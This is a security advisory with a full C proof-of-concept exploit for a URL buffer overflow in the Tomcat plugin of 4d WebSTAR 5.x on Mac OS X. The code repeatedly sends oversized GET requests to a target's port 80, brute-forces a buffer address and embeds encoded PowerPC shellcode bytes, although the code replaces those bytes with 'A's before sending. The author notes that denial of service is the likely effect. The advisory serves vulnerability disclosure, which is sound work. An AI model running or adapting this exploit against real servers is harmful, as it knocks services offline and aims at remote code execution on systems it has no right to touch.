4d WebSTAR 5.x Web Server Mac OS X Buffer Overflow
4d WebSTAR 5.x Mac OS X Buffer Overflow
Author: Braden Thomas
Vendor: http://www.4d.com
Product: 4d WebSTAR 5.33 and 5.4 Web Server on Mac OS X
*only trial version tested
Risk: Medium, remote root (unlikely), DoS (likely)
PoC Exploit code included
Description:
4d WebSTAR 5.x (5.33 and 5.4 tested) contains a buffer overflow
in the Web Server Tomcat plugin. The plugin is included and active
in a default installation of 4d WebSTAR. The overflow exists within
the URL. This overflow can be used for DoS easily, but because 4d
WebSTAR restarts the server process when it crashes, the attacker has
to send a malicious packet about every half second for effective DoS.
The overflow can also theoretically be used for remote code
execution, but as far as I can tell, the exploit is very improbable.
Details of the exploit:
The buffer is copied byte-by-byte starting from the beginning of the
buffer until a NULL (or a couple other terminating) byte is reached.
However, the pointer that points to the beginning of the buffer
exists just at the edge of the buffer. Therefore, you will
immediately overflow this pointer after going over the buffer. Since
you will overflow this pointer MSB-first, the chance is high (if you
aren't careful), that you'll direct the pointer into memory that
either isn't readable, or contains a NULL-pointer, at which point
your overflow will terminate. My exploit runs in a loop and
continues ad infinitum if the server doesn't crash.
Although the buffer moves around in memory, the pointer is static in
reference to the beginning of the buffer. So if you guess the
average value for the buffer and put it where the pointer will be
overflowed, you'll get a decent chance of actually successfully
overflowing a valid pointer that actually points within the buffer
(or maybe another copy of the buffer in memory). In my code this is
defined as BUFADDR, or below as readaddr.
Buffer:
[nops][shellcode][ret addrs][readaddr][more ret addrs]
Once you continue the overflow past the read address pointer, it's
sort of a mystery where in the buffer you will be reading from.
Basically about half of the buffer overflowed consists of return
addresses. If you thought getting the read address right was tough,
the return address is even harder. You can actually fill the link
register with this address with a fair accuracy. This address
*should* return execution back to your buffer to run the shellcode,
but will often crash with EXC_BAD_INSTRUCTION somewhere else. Note
that in the example exploit, the shellcode buffer has been set to all
A's for testing. Once you get the link register filled (which
happens about 10% of successful overflows), the chance that you
actually hit the shellcode is quite small. In fact, I've only seen
it happen once or twice. Good luck. :)
Vendor notified:
March 31, 2005
Fix:
Disable Tomcat plugin
-Braden
Code:
/* 4d buffer overflow
Braden Thomas
the buffer is copied byte by byte starting from the beginning of
the buffer
until a NULL byte is reached (or a couple other types of bytes)
the buffer is copied from a pointer that resides past the end of
the buffer
the buffer can overflow over this pointer, allowing the program
to read bytes to wherever it wants
-the exploit must restore this pointer or risk reading from null
memory, terminating overflow
-the pointer is different each time, though it's location in
relation to the buffer is static (buffer+1285)
-the pointer is overwritten byte by byte, meaning that one wrong
byte, and we're reading from
somewhere else... which can be potentially bad in terms
of exploitation
method:
-exploit attempts to: overwrite the pointer so that the memory
will continue to be overflowed
(i.e., do not point into any memory that contains a null byte)
-exploit attempts to continue overflowing with return addresses,
to overflow where LR is stored
-when loop ends and LR is restored, it will return execution
into the buffer and into shellcode
-some looping has been added, where BUFADDR is enumerated to try
to brute force the overflow
because failed servers are respawned
results:
actually successful in moving the execution pointer about 10
to 25% of the time
unsuccessful in actually jumping to the nops/shellcode :(
problems I don't understand:
occasionally other threads crash in weird places (memcpy and
szone_malloc)...
this might actually be when it works as desired and
doesn't crash... but other threads do crash
before shellcode can do its magic!
(but that's just a hypothesis) :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>
unsigned char shellcode[]= // no 0x00 0x20 0x3f 0x24 0x2f
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
"\x28\x49\x25\xc9";
#define BUFSIZE 1400
long BUFADDR= 0x284fe04;//0x02850204;
int main(int argc, char *argv[])
{
printf("4d WebSTAR buffer overflow\n");
printf("\tBraden Thomas\n");
if (argc<2)
{
printf("4dbo <target>\n");
return 1;
}
struct sockaddr_in their_addr;
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(80);
inet_aton(argv[1], &(their_addr.sin_addr));
memset(&(their_addr.sin_zero), '\0', 8);
int count=0;
while (1)
{
char buffer[BUFSIZE];
// [nops][shellcode][ret addrs][readaddr][more ret addrs]
memset(buffer,0x60,sizeof(buffer)); // nops first
int shellcodeLen = sizeof(shellcode)-1;
memset(shellcode,'A',shellcodeLen); // just
for testing!
memcpy(buffer+400+5,shellcode,shellcodeLen); // next
shellcode
unsigned long retaddr = BUFADDR + 0x1600; // as if it
matters... this never works!
unsigned long *bufPtr = (unsigned long*)(buffer+400
+shellcodeLen+5); // now for ret addrs
int bufCnt;
for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
{
memcpy(bufPtr,&retaddr,4);
bufPtr++;
}
unsigned long readaddr = BUFADDR; // now ptr read
address
// just a
guess... works pretty well tho
memcpy(buffer+1285,&readaddr,4);
memcpy(buffer,"GET /",5);
char httpStr[]=" HTTP/1.1\r\n\r\n";
memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));
if (!count)
printf("\nRead addr: 0x%x\nReturn addr: 0x%x
\n",readaddr,retaddr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof
(struct sockaddr)) == -1)
{
printf("connect error\n");
return 1;
}
if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
{
printf("send error\n");
return 1;
}
struct timeval time;
fd_set mySet;
FD_ZERO(&mySet);
FD_SET(sockfd, &mySet);
time.tv_sec = 40;
time.tv_usec = 0;
if (!select(sockfd+1, &mySet, NULL, NULL, &time))
{
printf("\nNo response received.\n");
break;
}
else
{
char resBuff[64];
int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
if (!readRes)
{
printf("\nZero length response.\n");
}
else if (!(count%21))
printf("\nResponse length: %d", readRes);
else
printf(".");
count++;
if (count>=100)
{
count=0;
BUFADDR+=0x200;
if (BUFADDR>0x285c000)
BUFADDR=0x284f204;
}
}
close(sockfd);
}
return 0;
}